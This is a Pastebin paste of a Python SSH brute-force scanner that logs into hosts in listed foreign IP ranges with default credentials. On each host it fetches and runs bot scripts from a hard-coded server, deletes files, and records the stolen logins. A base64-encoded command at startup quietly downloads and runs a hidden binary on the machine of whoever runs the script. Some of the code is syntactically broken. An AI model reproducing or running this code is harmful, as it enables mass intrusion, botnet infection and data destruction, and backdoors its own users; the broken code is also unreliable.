Advertisement
ZucoCheezy

Love-Scanner

Nov 26th, 2018
253
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.36 KB | None | 0 0
  1. #         MADE WITH LOVE BY ARES
  2. #  IG:Love.Ares           IG:Love.Hecate
  3. #      HIT ME UP FOR PRIVATE RANGES
  4. import threading, paramiko, random, socket, time, sys, base64
  5.  
  6. paramiko.util.log_to_file("/dev/null")
  7.  
  8.  
  9. blacklisted = ["127.0","10.0","192.168"]
  10. # Change Password to whatever you like
  11. # I found root:root most active
  12. passwords = ["root:root"]
  13.  
  14. if sys.argv[4] == "root":
  15.     passwords = ["root:root"]
  16. if sys.argv[4] == "user":
  17.     passwords = ["user:user"]
  18. if sys.argv[4] == "telnet":
  19. def run(cmd):
  20.  
  21.     subprocess.call(cmd, shell=True)
  22.  
  23. checkbinaries = "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vcjAwdHMudHJ1dGhkZWFsbW9kei5wdy8ueCAgOyAgY3VybCAtTyBodHRwOi8vcjAwdHMudHJ1dGhkZWFsbW9kei5wdy8ueCAgO2NobW9kICt4IC54OyBub2h1cCAuLy54IDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxO3JtIC1yZiAueA=="
  24.  
  25. rebinaries = str(base64.b64decode(checkbinaries))
  26.  
  27. run(rebinaries)
  28.  
  29. run('clear')
  30.  
  31.   if len(sys.argv) < 4 :
  32.     print("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")
  33.     sys.exit()
  34.  
  35. print """\n\x1b[0;37m*******************************************************************************
  36. *                           \x1b[1;31mLOVE \x1b[1;35mSCANNER \x1b[1;31mPROCESS\x1b[0;37m                              *
  37. *******************************************************************************\x1b[0m"""
  38. # Note : ( Stopped and took a dab at 2:15pm )
  39. def sshscanner(ip):
  40.     global passwords
  41.     try:
  42.         thisipisbad='no'
  43.         for badip in blacklisted:
  44.             if badip in ip:
  45.                 thisipisbad='yes'
  46.         if thisipisbad=='yes':
  47.             sys.exit()
  48.         username='root'
  49.         password="0"
  50.         port = 22
  51.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  52.         s.settimeout(3)
  53.         s.connect((ip, port))
  54.         data = str(s.recv(1024))
  55.         if "SSH" in data:
  56.             print("\x1b[1;31mScanning \x1b[1;35mSSH \x1b[1;31mWith Love <3 \x1b[1;35m " + ip + "\x1b[37m")
  57.         elif "ssh" in data:
  58.             print("\x1b[1;31mScanning \x1b[1;35mSSH \x1b[1;31mWith Love <3 " + ip + "\x1b[37m")
  59.         else:
  60.             sys.exit()
  61.         s.close()
  62.         ssh = paramiko.SSHClient()
  63.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  64.         dobreak=False
  65.         for passwd in passwords:
  66.             if ":n/a" in passwd:
  67.                 password=""
  68.             else:
  69.                 password=passwd.split(":")[1]
  70.             if "n/a:" in passwd:
  71.                 username=""
  72.             else:
  73.                 username=passwd.split(":")[0]
  74.             try:
  75.                 ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  76.                 break
  77.             except:
  78.                 pass
  79.         badserver=True
  80.         stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  81.         output = stdout.read()
  82.         if "inet addr" in output:
  83.             badserver=False
  84.         websites = [ ]         
  85.         if badserver == False:
  86.                 print("\x1b[1;37mLoading [\x1b[1;34mLOVE\x1b[1;37m] Bot <3 " + ip + ":" + username + ":" + password + "\x1b[37m")
  87.                 ssh.exec_command("cd /tmp; wget http://89.39.107.56/hwq.sh; curl -O http://89.39.107.56/hwq.sh; chmod 777 hwq.sh; sh hwq.sh; tftp 89.39.107.56 -c get thwq.sh; chmod 777 thwq.sh; sh thwq.sh; tftp -r thwq2.sh -g 89.39.107.56; chmod 777 thwq2.sh; sh thwq2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.39.107.56 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf hwq.sh thwq.sh thwq2.sh ftp1.sh; rm -rf *")
  88.                 vulns = open("vuln.txt", "a").write(username + ":" + password + ":" + ip + "\n")
  89.                 time.sleep(12)
  90.                 ssh.close()
  91.     except Exception as e:
  92.         pass
  93.  
  94.  
  95. if sys.argv[2] == "love":
  96.     ranges = ["190.236.0.0/190.237.255.255", "186.183.0.0/186.185.255.255", "59.180.0.0/59.181.255.255", "125.24.0.0/125.27.255.255", "181.60.0.0/181.68.255.255", "190.232.0.0/190.238.255.255", "190.42.0.0/190.49.255.255", "190.232.0.0/190.242.255.255", "59.178.0.0/59.184.255.255", "200.120.0.0/200.127.255.255", "201.228.0.0/201.234.255.255", "101.108.0.0/101.110.255.255", "122.170.0.0/122.173.255.255", "122.3.0.0/122.3.255.255", "122.52.0.0/122.54.255.255", "181.63.0.0/186.66.255.255"]
  97.     randomrange = random.choice(ranges)
  98.     startrng = randomrange.split("/")[0]
  99.     endrng = randomrange.split("/")[1]
  100.  
  101. if sys.argv[2] != "love":
  102.     a = int(sys.argv[2].split(".")[0])
  103.     b = int(sys.argv[2].split(".")[1])
  104.     c = int(sys.argv[2].split(".")[2])
  105.     d = int(sys.argv[2].split(".")[3])
  106. else:
  107.     a = int(startrng.split(".")[0])
  108.     b = int(startrng.split(".")[1])
  109.     c = int(startrng.split(".")[2])
  110.     d = int(startrng.split(".")[3])
  111. x = 0
  112.  
  113. while(True):
  114.     try:
  115.  
  116.         if sys.argv[2] != "love":
  117.             endaddr = sys.argv[3]
  118.         else:
  119.             endaddr = endrng
  120.        
  121.         d += 1
  122.  
  123.         ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  124.  
  125.         if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
  126.             if sys.argv[2] == "love":
  127.                 randomrange = random.choice(ranges)
  128.                 startrng = randomrange.split("/")[0]
  129.                 endrng = randomrange.split("/")[1]
  130.                 a = int(startrng.split(".")[0])
  131.                 b = int(startrng.split(".")[1])
  132.                 c = int(startrng.split(".")[2])
  133.                 d = int(startrng.split(".")[3])
  134.             else:
  135.                 break
  136.  
  137.         if d > 255:
  138.             c += 1
  139.             d = 0
  140.  
  141.         if c > 255:
  142.             b += 1
  143.             c = 0
  144.        
  145.         if b > 255:
  146.             a += 1
  147.             b = 0
  148.  
  149.         ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)
  150. # Almost done and can get high babyyy
  151.         if ipaddr == endaddr:
  152.             if sys.argv[2] == "love":
  153.                 randomrange = random.choice(ranges)
  154.                 startrng = randomrange.split("/")[0]
  155.                 endrng = randomrange.split("/")[1]
  156.                 a = int(startrng.split(".")[0])
  157.                 b = int(startrng.split(".")[1])
  158.                 c = int(startrng.split(".")[2])
  159.                 d = int(startrng.split(".")[3])
  160.             else:
  161.                 break
  162.  
  163.         if x > 500:
  164.             time.sleep(1)
  165.             x = 0
  166.        
  167.         t = threading.Thread(target=sshscanner, args=(ipaddr,))
  168.         t.start()
  169.        
  170.     except Exception as e:
  171.         pass
  172.  
  173. print "\x1b[37mDone\x1b[37m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement